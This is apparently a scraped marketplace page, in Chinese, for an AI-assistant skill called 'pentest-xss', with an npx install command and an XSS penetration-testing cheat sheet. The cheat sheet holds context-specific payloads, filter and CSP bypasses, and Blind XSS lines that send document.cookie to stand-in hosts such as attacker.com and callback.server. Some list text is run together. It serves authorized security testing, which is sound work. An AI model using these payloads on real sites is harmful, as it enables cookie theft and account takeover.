默认使用会先检查来源的 Prompt；你也可以切换为直接命令，或下载本地副本。
决定是否安装前，请先阅读 SKILL.md，以及 SkillsMP 当前展示的配套文件。
基于 SOC 职业分类
用 Codex 或 Claude 帮你安装 复制这段 Prompt，粘贴到 Codex、Claude 或其他助手里，让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt；运行前请先检查来源。
npx skills add https://github.com/yhy0/ghsa-skill-builder --skill pentest-xss命令会保持在同一行。复制前请横向滚动并检查完整内容。

当对 Web 应用进行 XSS 渗透测试时加载此 Skill。覆盖 Stored、Reflected、DOM-based XSS 的攻击手法。
高风险输入点：
?message=, ?error=, ?callback=）DOM-based XSS 入口：
location.hash、location.search 被 document.write() 或 innerHTML 使用postMessage 处理器缺少来源验证{{ }}、Vue v-html）识别信号：
Content-Type: text/html 的 API 响应Content-Security-Policy 头按上下文构造 Payload：
<!-- HTML 上下文 -->
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<details open ontoggle=alert(1)>
<!-- 属性上下文 -->
" onfocus=alert(1) autofocus="
' onmouseover='alert(1)
<!-- JavaScript 上下文 -->
</script><script>alert(1)</script>
'-alert(1)-'
\'-alert(1)//
<!-- URL 上下文 -->
javascript:alert(1)
data:text/html,<script>alert(1)</script>
Stored XSS 利用链：
fetch('https://attacker.com/steal?c='+document.cookie)过滤绕过技巧：
<ScRiPt>alert(1)</ScRiPt>onerror, onload, onfocus, ontoggle, onanimationendalert(1)、Unicode \u0061lert(1)<svg>, <math>, <details>, <marquee> .constructor.constructor`('alert(1)') [link](javascript:alert(1))、)Blind XSS：
<!-- 注入到支持工单、反馈表单、日志查看器等后台渲染的位置 -->
"><script src=https://your-callback-server/hook.js></script>
<img src=x onerror="fetch('https://callback.server/'+document.cookie)">
CSP 绕过：
script-src 'unsafe-inline'：直接执行内联脚本<script src="trusted.com/jsonp?callback=alert"><base href="https://attacker.com/">script-src 白名单中的 CDN 利用<script>alert(1)</script> 并检查响应Content-Security-Policy 响应头是否存在及其强度innerHTML、document.write、eval）是否使用了用户可控数据HttpOnly 标志）漏洞利用可达到的效果：
严重度判断：
